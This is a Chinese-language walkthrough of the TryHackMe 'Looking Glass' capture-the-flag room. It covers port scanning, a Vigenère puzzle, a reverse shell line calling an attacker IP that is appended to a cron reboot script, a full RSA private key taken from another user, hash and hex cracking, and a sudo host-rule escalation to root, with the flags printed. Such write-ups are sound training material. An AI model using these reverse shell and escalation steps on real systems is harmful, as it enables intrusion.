服务发现
┌──(rootkali)-[~/tryhackme]└─# nmap -sV -Pn 10.10.189.27 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-08 04:11 EDTNmap scan report for 10.10.163.86Host is up (1.1s latency).Not shown: 916 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)9000/tcp open ssh Dropbear sshd (protocol 2.0)9001/tcp open ssh Dropbear sshd (protocol 2.0)9002/tcp open ssh Dropbear sshd (protocol 2.0)9003/tcp open ssh Dropbear sshd (protocol 2.0)9009/tcp open ssh Dropbear sshd (protocol 2.0)9010/tcp open ssh Dropbear sshd (protocol 2.0)9011/tcp open ssh Dropbear sshd (protocol 2.0)9040/tcp open ssh Dropbear sshd (protocol 2.0)9050/tcp open ssh Dropbear sshd (protocol 2.0)9071/tcp open ssh Dropbear sshd (protocol 2.0)9080/tcp open ssh Dropbear sshd (protocol 2.0)9081/tcp open ssh Dropbear sshd (protocol 2.0)9090/tcp open ssh Dropbear sshd (protocol 2.0)9091/tcp open ssh Dropbear sshd (protocol 2.0)9099/tcp open ssh Dropbear sshd (protocol 2.0)9100/tcp open jetdirect?9101/tcp open jetdirect?9102/tcp open jetdirect?9103/tcp open jetdirect?9110/tcp open ssh Dropbear sshd (protocol 2.0)9111/tcp open ssh Dropbear sshd (protocol 2.0)9200/tcp open ssh Dropbear sshd (protocol 2.0)9207/tcp open ssh Dropbear sshd (protocol 2.0)9220/tcp open ssh Dropbear sshd (protocol 2.0)9290/tcp open ssh Dropbear sshd (protocol 2.0)9415/tcp open ssh Dropbear sshd (protocol 2.0)9418/tcp open ssh Dropbear sshd (protocol 2.0)9485/tcp open ssh Dropbear sshd (protocol 2.0)9500/tcp open ssh Dropbear sshd (protocol 2.0)9502/tcp open ssh Dropbear sshd (protocol 2.0)9503/tcp open ssh Dropbear sshd (protocol 2.0)9535/tcp open ssh Dropbear sshd (protocol 2.0)9575/tcp open ssh Dropbear sshd (protocol 2.0)9593/tcp open ssh Dropbear sshd (protocol 2.0)9594/tcp open ssh Dropbear sshd (protocol 2.0)9595/tcp open ssh Dropbear sshd (protocol 2.0)9618/tcp open ssh Dropbear sshd (protocol 2.0)9666/tcp open ssh Dropbear sshd (protocol 2.0)9876/tcp open ssh Dropbear sshd (protocol 2.0)9877/tcp open ssh Dropbear sshd (protocol 2.0)9878/tcp open ssh Dropbear sshd (protocol 2.0)9898/tcp open ssh Dropbear sshd (protocol 2.0)9900/tcp open ssh Dropbear sshd (protocol 2.0)9917/tcp open ssh Dropbear sshd (protocol 2.0)9929/tcp open ssh Dropbear sshd (protocol 2.0)9943/tcp open ssh Dropbear sshd (protocol 2.0)9944/tcp open ssh Dropbear sshd (protocol 2.0)9968/tcp open ssh Dropbear sshd (protocol 2.0)9998/tcp open ssh Dropbear sshd (protocol 2.0)9999/tcp open ssh Dropbear sshd (protocol 2.0)10000/tcp open ssh Dropbear sshd (protocol 2.0)10001/tcp open ssh Dropbear sshd (protocol 2.0)10002/tcp open ssh Dropbear sshd (protocol 2.0)10003/tcp open ssh Dropbear sshd (protocol 2.0)10004/tcp open ssh Dropbear sshd (protocol 2.0)10009/tcp open ssh Dropbear sshd (protocol 2.0)10010/tcp open ssh Dropbear sshd (protocol 2.0)10012/tcp open ssh Dropbear sshd (protocol 2.0)10024/tcp open ssh Dropbear sshd (protocol 2.0)10025/tcp open ssh Dropbear sshd (protocol 2.0)10082/tcp open ssh Dropbear sshd (protocol 2.0)10180/tcp open ssh Dropbear sshd (protocol 2.0)10215/tcp open ssh Dropbear sshd (protocol 2.0)10243/tcp open ssh Dropbear sshd (protocol 2.0)10566/tcp open ssh Dropbear sshd (protocol 2.0)10616/tcp open ssh Dropbear sshd (protocol 2.0)10617/tcp open ssh Dropbear sshd (protocol 2.0)10621/tcp open ssh Dropbear sshd (protocol 2.0)10626/tcp open ssh Dropbear sshd (protocol 2.0)10628/tcp open ssh Dropbear sshd (protocol 2.0)10629/tcp open ssh Dropbear sshd (protocol 2.0)10778/tcp open ssh Dropbear sshd (protocol 2.0)11110/tcp open ssh Dropbear sshd (protocol 2.0)11111/tcp open ssh Dropbear sshd (protocol 2.0)11967/tcp open ssh Dropbear sshd (protocol 2.0)12000/tcp open ssh Dropbear sshd (protocol 2.0)12174/tcp open ssh Dropbear sshd (protocol 2.0)12265/tcp open ssh Dropbear sshd (protocol 2.0)12345/tcp open ssh Dropbear sshd (protocol 2.0)13456/tcp open ssh Dropbear sshd (protocol 2.0)13722/tcp open ssh Dropbear sshd (protocol 2.0)13782/tcp open ssh Dropbear sshd (protocol 2.0)13783/tcp open ssh Dropbear sshd (protocol 2.0)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel太操蛋了。。。
看上去开了很多ssh端口，开启-p-从新扫了一次，扫描出更多ssh端口
尝试用连贯下面的ssh端口，会一直的提醒Higher或者lower
咱们当然不须要一个个端口去测试，只须要不停的折半查找，那么在对数次数内咱们就能够找到实在端口
┌──(rootkali)-[~/tryhackme/lookingglass]└─# ssh root@10.10.189.27 -p 12000The authenticity of host '[10.10.189.27]:12000 ([10.10.189.27]:12000)' can't be established.RSA key fingerprint is SHA256:iMwNI8HsNKoZQ7O0IFs1Qt8cf0ZDq2uI8dIK97XGPj0.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[10.10.189.27]:12000' (RSA) to the list of known hosts.LowerConnection to 10.10.189.27 closed. ┌──(rootkali)-[~/tryhackme/lookingglass]└─# ssh root@10.10.189.27 -p 12174The authenticity of host '[10.10.189.27]:12174 ([10.10.189.27]:12174)' can't be established.RSA key fingerprint is SHA256:iMwNI8HsNKoZQ7O0IFs1Qt8cf0ZDq2uI8dIK97XGPj0.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[10.10.189.27]:12174' (RSA) to the list of known hosts.HigherConnection to 10.10.189.27 closed. ┌──(rootkali)-[~/tryhackme/lookingglass]└─# ssh root@10.10.189.27 -p 12100The authenticity of host '[10.10.189.27]:12100 ([10.10.189.27]:12100)' can't be established.RSA key fingerprint is SHA256:iMwNI8HsNKoZQ7O0IFs1Qt8cf0ZDq2uI8dIK97XGPj0.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[10.10.189.27]:12100' (RSA) to the list of known hosts.HigherConnection to 10.10.189.27 closed. ┌──(rootkali)-[~/tryhackme/lookingglass]└─# ssh root@10.10.189.27 -p 12050The authenticity of host '[10.10.189.27]:12050 ([10.10.189.27]:12050)' can't be established.RSA key fingerprint is SHA256:iMwNI8HsNKoZQ7O0IFs1Qt8cf0ZDq2uI8dIK97XGPj0.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[10.10.189.27]:12050' (RSA) to the list of known hosts.HigherConnection to 10.10.189.27 closed. ┌──(rootkali)-[~/tryhackme/lookingglass]└─# ssh root@10.10.189.27 -p 12025The authenticity of host '[10.10.189.27]:12025 ([10.10.189.27]:12025)' can't be established.RSA key fingerprint is SHA256:iMwNI8HsNKoZQ7O0IFs1Qt8cf0ZDq2uI8dIK97XGPj0.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[10.10.189.27]:12025' (RSA) to the list of known hosts.LowerConnection to 10.10.189.27 closed. ┌──(rootkali)-[~/tryhackme/lookingglass]└─# ssh root@10.10.189.27 -p 12030The authenticity of host '[10.10.189.27]:12030 ([10.10.189.27]:12030)' can't be established.RSA key fingerprint is SHA256:iMwNI8HsNKoZQ7O0IFs1Qt8cf0ZDq2uI8dIK97XGPj0.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[10.10.189.27]:12030' (RSA) to the list of known hosts.HigherConnection to 10.10.189.27 closed.最初定位到端口：12027
留神，这个端口每次reboot的时候都会变动
┌──(rootkali)-[~/tryhackme/lookingglass]└─# ssh root@10.10.189.27 -p 12027The authenticity of host '[10.10.189.27]:12027 ([10.10.189.27]:12027)' can't be established.RSA key fingerprint is SHA256:iMwNI8HsNKoZQ7O0IFs1Qt8cf0ZDq2uI8dIK97XGPj0.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[10.10.189.27]:12027' (RSA) to the list of known hosts.You've found the real service.Solve the challenge to get access to the boxJabberwocky'Mdes mgplmmz, cvs alv lsmtsn aowilFqs ncix hrd rxtbmi bp bwl arul;Elw bpmtc pgzt alv uvvordcet,Egf bwl qffl vaewz ovxztiql.'Fvphve ewl Jbfugzlvgb, ff woy!Ioe kepu bwhx sbai, tst jlbal vppa grmjl!Bplhrf xag Rjinlu imro, pud tlnpBwl jintmofh Iaohxtachxta!'Oi tzdr hjw oqzehp jpvvd tc oaoh:Eqvv amdx ale xpuxpqx hwt oi jhbkhe--Hv rfwmgl wl fp moi Tfbaun xkgm,Puh jmvsd lloimi bp bwvyxaa.Eno pz io yyhqho xyhbkhe wl sushf,Bwl Nruiirhdjk, xmmj mnlw fy mpaxt,Jani pjqumpzgn xhcdbgi xag bjskvr dsoo,Pud cykdttk ej ba gaxt!Vnf, xpq! Wcl, xnh! Hrd ewyovka cvs alihbkhEwl vpvict qseux dine huidoxt-achgb!Al peqi pt eitf, ick azmo mtd wlaeLx ymca krebqpsxug cevm.'Ick lrla xhzj zlbmg vpt Qesulvwzrr?Cpqx vw bf eifz, qy mthmjwa dwn!V jitinofh kaz! Gtntdvl! Ttspaj!'Wl ciskvttk me apw jzn.'Awbw utqasmx, tuh tst zljxaa bdcijWph gjgl aoh zkuqsi zg ale hpie;Bpe oqbzc nxyi tst iosszqdtz,Eew ale xdte semja dbxxkhfe.Jdbr tivtmi pw sxderpIoeKeudmgdstdEnter Secret:当初咱们拿到一个加密文本。Jabberwocky在爱丽丝的故事里是一首废话诗
对于这个背景能够参考维基百科
依据下面的背景常识咱们能够拿到一段明文：
'Twas brillig, and the slithy tovesDid gyre and gimble in the wabeAll mimsy were the borogoves,And the mome raths outgrabe.对应的密文就是下面的第一段：
'Mdes mgplmmz, cvs alv lsmtsn aowilFqs ncix hrd rxtbmi bp bwl arul;Elw bpmtc pgzt alv uvvordcet,Egf bwl qffl vaewz ovxztiql.咱们猜想这里用的是维吉利亚加密，那么在晓得明文和密文的状况下，咱们如何晓得加密的秘钥？
我搜寻到了这个页面
这里说了一句:
Take the ciphertext and decrypt it with the plaintext as the key. If it was vigenere, you'll see the real key pop out. Which is the case here.
用明文作为秘钥，解密已加密的文本，得进去的就是秘钥
去到这个网站
咱们把头两行加密文本去除标点当前作为待解密文本：MdesmgplmmzcvsalvlsmtsnaowilFqsncixhrdrxtbmibpbwlarul
把头两行的明文去除标点当前作为解密的秘钥:TwasbrilligandtheslithytovesDidgyreandgimbleinthewabe
解密进去当前是：ThealphabetcipherthealphabetCipherthealphabetcipherth
咱们察看，期中thealphabetcipher这个字符串在解密密文里重复呈现，所以这个就是咱们的解密秘钥
咱们用下面的秘钥解密整个加密诗文
Twas brillig, and the slithy tovesDid gyre and gimble in the wabe;All mimsy were the borogoves,And the mome raths outgrabe.'Beware the Jabberwock, my son!The jaws that bite, the claws that catch!Beware the Jubjub bird, and shunThe frumious Bandersnatch!'He took his vorpal sword in hand:Long time the manxome foe he sought--So rested he by the Tumtum tree,And stood awhile in thought.And as in uffish thought he stood,The Jabberwock, with eyes of flame,Came whiffling through the tulgey wood,And burbled as it came!One, two! One, two! And through and throughThe vorpal blade went snicker-snack!He left it dead, and with its headHe went galumphing back.'And hast thou slain the Jabberwock?Come to my arms, my beamish boy!O frabjous day! Callooh! Callay!'He chortled in his joy.'Twas brillig, and the slithy tovesDid gyre and gimble in the wabe;All mimsy were the borogoves,And the mome raths outgrabe.Your secret is bewareTheJabberwocksecret是：bewareTheJabberwock
ssh里填入secret，失去一个ssh的登陆凭证
小声bb：这个ssh明码每次reboot的时候也会变动，所以万不得已千万不要重启，不然下面猜端口又要重来一次。。。
Enter Secret:jabberwock:InventedBackwardsGreedilyYoursuser 1：jabberwock
登陆ssh，查看user.txt
┌──(rootkali)-[~/tryhackme/lookingglass]└─# ssh jabberwock@10.10.189.27 jabberwock@10.10.189.27's password: Last login: Fri Jul 3 03:05:33 2020 from 192.168.170.1jabberwock@looking-glass:~$ lspoem.txt twasBrillig.sh user.txtjabberwock@looking-glass:~$ cat user.txt }32a911966cab2d643f5d57d9e0173d56{mht依照这个房间的尿性，显然这也不是一个实在的user flag
去到这个网站,失去一个reverse的串就是user flag
查看本用户的root权限，能够应用reboot命令
jabberwock@looking-glass:~$ sudo -lMatching Defaults entries for jabberwock on looking-glass: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser jabberwock may run the following commands on looking-glass: (root) NOPASSWD: /sbin/reboot查看定时工作，tweedledum这个用户，每次reboot的时候都会执行 /home/jabberwock/twasBrillig.sh
jabberwock@looking-glass:~$ cat /etc/crontab # /etc/crontab: system-wide crontab# Unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do.SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user command17 * * * * root cd / && run-parts --report /etc/cron.hourly25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )#@reboot tweedledum bash /home/jabberwock/twasBrillig.sh咱们把上面的payload写进 /home/jabberwock/twasBrillig.sh
jabberwock@looking-glass:~$ echo "bash -i >& /dev/tcp/10.13.21.169/4242 0>&1">>/home/jabberwock/twasBrillig.shjabberwock@looking-glass:~$ cat /home/jabberwock/twasBrillig.shwall $(cat /home/jabberwock/poem.txt)bash -i >& /dev/tcp/10.13.21.169/4242 0>&1另外开启一个监听窗口，reboot这个机器....
拿到另一个用户tweedledum的shell
user 2 tweedledum
┌──(rootkali)-[~/tryhackme/lookingglass]└─# nc -lnvp 4242 1 ⨯listening on [any] 4242 ...connect to [10.13.21.169] from (UNKNOWN) [10.10.189.27] 52236bash: cannot set terminal process group (881): Inappropriate ioctl for devicebash: no job control in this shelltweedledum@looking-glass:~$ whoamiwhoamitweedledumtweedledum@looking-glass:~$ ididuid=1002(tweedledum) gid=1002(tweedledum) groups=1002(tweedledum)tweedledum@looking-glass:~$ tweedledum用于bash的root权限，然而须要明码
tweedledum@looking-glass:~$ sudo -lsudo -lMatching Defaults entries for tweedledum on looking-glass: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser tweedledum may run the following commands on looking-glass: (tweedledee) NOPASSWD: /bin/bash$ python3 -c 'import pty; pty.spawn("/bin/sh")'$ sudo /bin/bashsudo /bin/bash[sudo] password for tweedledum: Sorry, try again.[sudo] password for tweedledum: Sorry, try again.[sudo] password for tweedledum: 在此目录下有两个文件
$ lslshumptydumpty.txt poem.txt$ cat humptydumpty.txtcat humptydumpty.txtdcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b97692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404ffa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d05e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d87468652070617373776f7264206973207a797877767574737271706f6e6d6c6b$ cat poem.txtcat poem.txt 'Tweedledum and Tweedledee Agreed to have a battle; For Tweedledum said Tweedledee Had spoiled his nice new rattle. Just then flew down a monstrous crow, As black as a tar-barrel; Which frightened both the heroes so, They quite forgot their quarrel.'humptydumpty.txt里的是sha256加密密文，去到这个网站解密后的后果如下：
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9maybe
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431edone
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624of
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404fthese
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6is
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0the
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8password
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b(这个解不进去..)
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b看上去像sha256，但其实是hex
在hackbar外面抉择ENCODING->Hexadecimal decode
失去明文:the password is zyxwvutsrqponmlk
查看/etc/passwd，humptydumpty是期中一个用户
$ cat /etc/passwdcat /etc/passwd......tryhackme:x:1000:1000:TryHackMe:/home/tryhackme:/bin/bashjabberwock:x:1001:1001:,,,:/home/jabberwock:/bin/bashtweedledum:x:1002:1002:,,,:/home/tweedledum:/bin/bashtweedledee:x:1003:1003:,,,:/home/tweedledee:/bin/bashhumptydumpty:x:1004:1004:,,,:/home/humptydumpty:/bin/bashalice:x:1005:1005:Alice,,,:/home/alice:/bin/bashuser 3 humptydumpty
切换到humptydumpty的账号
su humptydumptyPassword: zyxwvutsrqponmlkhumptydumpty@looking-glass:/home$ cd humptydumptycd humptydumptyhumptydumpty@looking-glass:~$ lslspoetry.txt在home目录查看用户权限，其余用户组对alice都有执行权限
humptydumpty@looking-glass:/home$ ls -alls -altotal 32drwxr-xr-x 8 root root 4096 Jul 3 2020 .drwxr-xr-x 24 root root 4096 Jul 2 2020 ..drwx--x--x 6 alice alice 4096 Jul 3 2020 alicedrwx------ 3 humptydumpty humptydumpty 4096 Oct 9 08:52 humptydumptydrwxrwxrwx 6 jabberwock jabberwock 4096 Oct 9 07:32 jabberwockdrwx------ 5 tryhackme tryhackme 4096 Jul 3 2020 tryhackmedrwx------ 3 tweedledee tweedledee 4096 Jul 3 2020 tweedledeedrwx------ 2 tweedledum tweedledum 4096 Jul 3 2020 tweedledum这里我是参考大佬的writeup的，很trick的是能够查看到alice的ssh私钥文件。。
cat alice/.ssh/id_rsa-----BEGIN RSA PRIVATE KEY-----MIIEpgIBAAKCAQEAxmPncAXisNjbU2xizft4aYPqmfXm1735FPlGf4j9ExZhlmmDNIRchPaFUqJXQZi5ryQH6YxZP5IIJXENK+a4WoRDyPoyGK/63rXTn/IWWKQka9tQ2xrdnyxdwbtiKP1L4bq/4vU3OUcA+aYHxqhyq39arpeceHVit+jVPriHiCA73k7gHCgpkwWczNa5MMGo+1Cg4ifzffv4uhPkxBLLl3f4rBf84RmuKEEy6bYZ+/WOEgHlfks5ngFniW7x2R3vyq7xyDrwiXEjfW4yYe+kLiGZyyk1ia7HGhNKpIRufPdJdT+rNGrjYFLjhzeWYBmHx7JkhkEUFIVx6ZV1y+gihQIDAQABAoIBAQDAhIA5kCyMqtQjX2F+O9J8qjvFzf+GSl7lAIVuC5Ryqlxm5tsg4nUZvlRgfRMpn7hJAjD/bWfKLb7j/pHmkU1C4WkaJdjpZhSPfGjxpK4UtKx3Uetjw+1eomIVNu6pkivJ0DyXVJiTZ5jFql2PZTVpwPtRw+RebKMwjqwo4k77Q30r8Kxr4UfX2hLHtHT8tsjqBUWrb/jlMHQOzmU73tuPVQSESgeUP2jOlv7q5toEYieoA+7ULpGDwDn8PxQjCF/2QUa2jFalixsKWfEcmTnIQDyOFWCbmgOvik4Lzk/rDGn9VjcYFxOpuj3XH2l8QDQ+GO+5BBg38+aJcUINwh4BAoGBAPdctuVRoAkFpyEofZxQFqPqw3LZyviKena/HyWLxXWHxG6ji7aWDmtVXjjQOwcjOLuDkT4QQvCJVrGbdBVGOFLoWZzLpYGJchxmlR+RHCb40pZjBgr58bjJlQcp6pplBRCF/OsG5ugpCiJsS6uA6CWWXe6WC7r7V94r5wzzJpWBAoGBAM1RaCg1/2UxIOqxtAfQ+WDxqQQuq3szvrhep22McIUe83dh+hUibaPqR1nYy1sAAhgywJohLchlq4E1LhUmTZZquBwviU73fNRbID5pfn4LKL6/yiF/GWd+Zv+t9n9DDWKiWgT9aG7N+TP/yimYniR2ePu/xKIjWX/uSs3rSLcFAoGBAOxvcFpM5Pz6rD8jZrzsSFexY9P5nOpn4ppyICFRMhIfDYD7TeXeFDY/yOnhDyrJXcbOARwjivhDLdxhzFkxX1DPyif292GTsMC4xL0BhLkziIY6bGI9efC4rXvFcvrUqDyc9ZzoYflykL9KaCGr+zlCOtJ8FQZKjDhOGnDkUPMBAoGBAMrVaXiQH8bwSfyRobE3GaZUFw0yreYAsKGjoPPwkhhxA0UlXdITOQ1+HQ79xagY0fjl6rBZpska59u1ldj/BhdbRpdRvuxsQr3naGs//N64V4BaKG3/CjHcBhUA30vKCicvDI9xaQJOKardP/Ln+xM6lzrdsHwdQAXKe8wCbMuhAoGBAOKy5OnaHwB8PcFcX68srFLX4W20NN6cFp12cU2QJy2MLGoFYBpadLnK/rW4O0JxgqIV69MjDsfRn1gZNhTTAyNnRMH1U7kUfPUB2ZXCmnCGLhAGEbY9k6ywCnCtTz2/sNEgNcx9/iZW+yVEm/4s9eonVimF+u19HJFOPJsAYxx0-----END RSA PRIVATE KEY-----把下面信息复制到本地成id_rsa文件，用ssh登录alice账号
user 4 alice
┌──(rootkali)-[~/tryhackme/lookingglass]└─# chmod 600 id_rsa ┌──(rootkali)-[~/tryhackme/lookingglass]└─# ssh -i id_rsa alice@10.10.189.27 Last login: Fri Jul 3 02:42:13 2020 from 192.168.170.1alice@looking-glass:~$ iduid=1005(alice) gid=1005(alice) groups=1005(alice)alice@looking-glass:~$ whoamialice不能应用sudo -l，因为不晓得明码
有一个txt文件，然而没有什么卵用不必管
全局寻找alice相干的文件
alice@looking-glass:/$ find / -name *alice* -type f 2>/dev/null/etc/sudoers.d/alice````查看这个文件,能够应用bashalice@looking-glass:/$ cat /etc/sudoers.d/alice
alice ssalg-gnikool = (root) NOPASSWD: /bin/bash
在下面这条命令里>alice 用户名>ssalg-gnikool 主机名>/bin/bash 能够执行的命令#提权到root。>-h参数有帮忙菜单（display gelp message and exit），也有在主机上运行命令的意思（run command on host）alice@looking-glass:/$ sudo -h ssalg-gnikool /bin/bash
sudo: unable to resolve host ssalg-gnikool
root@looking-glass:/# id
uid=0(root) gid=0(root) groups=0(root)
root@looking-glass:/# cat /root/root.txt
}f3dae6dec817ad10b750d79f6b7332cb{mht